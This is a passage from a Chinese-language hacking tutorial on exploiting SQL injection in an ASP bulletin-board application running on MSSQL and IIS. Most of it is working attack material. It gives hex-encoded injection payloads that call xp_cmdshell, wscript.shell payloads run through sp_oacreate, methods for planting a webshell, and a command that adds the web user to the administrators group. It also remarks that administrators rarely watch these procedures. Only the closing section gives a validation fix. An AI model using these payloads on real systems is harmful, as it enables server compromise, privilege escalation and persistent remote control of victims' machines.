这样就在默认服务器下面建立了一个名为win的虚拟目录,其绝对路径为c:\winnt\,并且具有执行动态脚本的权限,关于mkwebdir.vbs和adsutil.vbs的使用方法可以参考微软的MSDN它比我讲得明白。现在你可以通过访问http://www.sitename.com/win/来判断是否创建成功:返回403错误说明创建成功,返回500错误说明创建失败。你也许会发现一个问题,在使用SQL Encoder编码后提交语句没有一次成功过,难道语句有错误吗?但是如果你在查询分析器内测试的话他会成功地执行,问题出在数据类型转换的问题上。在MSSQL中exec函数不能进行我们要求的这种数据类型转换,因此需要一步另外的操作。正确的提交代码为:

CODE  

1;declare @a nvarchar(255);
select @a=0×6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c

006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c

00610064006d0069006e0073006300720069007000740073005c006d006b007700650062006400690072002e

0076006200730020002d00630020006c006f00630061006c0068006f007300740020002d

007700200022003100220020002d00760020002200770069006e0022002c00220063003a005c00770069006e006e

0074005c0022002700;
exec(@a);
select @a=0×6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c

006c00200027006300730063007200690070007400200063003a005c0069006e00650074007000750062005c

00610064006d0069006e00730063007200690070007
40073002f006100640073007500740069006c002e

0076006200730020007300650074002000770033007300760063002f0031002f0072006f006f0074002f00770069006e

002f006100630063006500730073006500780065006300750074006500200074007200750065002700;
exec(@a);




首先声明一个nvarchar(255)类型的变量,然后让赋值运算符去进行数据类型的转换。还有一点需要注意,在MSSQL中字符串内部的单引号要用两个单引号,但是在我们使用SQL Encoder进行编码的时候一定要坚持一个单引号的方针,执行表达式不能转换的数据类型交给赋值运算符的政策。后面的代码中基本上都要用到这种方法,所以为了灵活运用一定要记住它。也许你会遇到服务器没有xp_cmdshell的情况,而且这个时候还没有取得web绝对路径,建立webshell根本就无从谈起。遇到这种情况也不要气馁,我们还有另外的一种方法可以完成这项操作。提交下面的语句:

CODE  

1;declare @o int;
exec sp_oacreate ‘wscript.shell’,@o out;
exec sp_oamethod @o,’run’,NULL,’cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w “1″ -v

“win”,”c:\winnt\”‘;
exec sp_oacreate ‘wscript.shell’,@o out;
exec sp_oamethod @o,’run’,NULL,’cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/

AccessExecute True’;




至于数据类型转换的问题可以利用刚才提到的方法去解决。一般的时候管理员很少会注意到sp_oacreate和sp_oamethod这两个存储扩展,你可以放心的去使用。
现在通往罗马的大陆就在我们的面前,那就让我们跑起来吧!什么,你说开车更快点?
第五篇 把跑车开上大路
知道了web绝对路径以后,就可以写入webshell了,据我所知的有五种方法可以实现:
1. N.E.V.E.R的通过使用数据备份的方法,虽然有大量垃圾数据的产生,但是对权限的要求很低,具体可参考他的相关文章;
2. CZY的使用sp_makewebtask存储扩展导出表中数据的方法,附加的数据量很少而且避免了使用xp_cmdshell存储扩展的情况,这种方法我已经在sp_makewebtask.txt给出详细的代码;
3. 使用xp_cmdshell执行批处理的方法,这种方法比较实用,没有任何多于数据的写入问题,在xp_cmdshell.txt文件中你可以找到详细的内容。可以用于只能连接服务器80端口的情况——如果有3389的话还用我说吗?
4. 利用sp_oacreate和sp_oamethod这两个存储扩展执行批处理的方法,使用的条件与xp_cmdshell相同,由于这种方法与3中几乎同出一辙就不再给出代码了;
5. 利用sp_oacreate和sp_oamethod这两个存储扩展调用scripting.filesystemobject对象进行文件的创建及写入操作,使用条件同上。在sp_oacreate&sp_oamethod.txt文件中有详细的代码。
在上述方法中给出的webshell代码均是修改自海洋顶端的cmd.asp,经过简化之后仅

余13行关键部分,详细内容见cmd.txt。
你是怎么把车开上路的就要看实际情况了,马爷爷告诉我们要具体情况具体分析的嘛!

第六篇 把安全带系牢
你肯定发现了在数据库内的system权限在建立webshell之后就成了Guests权限,这不是造成浪费了吗!为了继承勤俭节约的光荣传统,可以执行下面的SQL语句将浪

费降低到最低的程度:
exec(‘master.dbo.xp_cmdshell ”net localgroup administrators IUSR_”+host_name()+” /add”’)
当然通过sp_oacreate和sp_oamethod这两个存储扩展执行也可以,关键在于灵活运用,因时制宜,因地制宜。你问我接下来该干什么?我faint,你还是多买两本黑防

看一看吧,它会教你怎么做的。
结束语
其实这个漏洞的修补非常的简单,只要将代码中的
ID=replace(request.form(“Announceid”)(i),”‘”,”")
这一句改为下面的语句就可以了
ID= request.form(“Announceid”)(i)
If isnumeric(ID) then
ID=CLng(ID)
Else
ID=0
End if
千万不要小看isnumeric函数的作用,修补漏洞可全靠它呢。
俗话说盖一座大楼很困难,但是想拆掉它却是很容易。如果想让自己设计的建筑更加牢固,就要更加完备的设计,即使细节的部分也不能放过,以免由于疏忽而导致蚁穴丛生。
对于软件来说就不仅仅是本身的坍塌了,有可能会带来毁灭性的灾难,甚至于危及整个服务器和服务器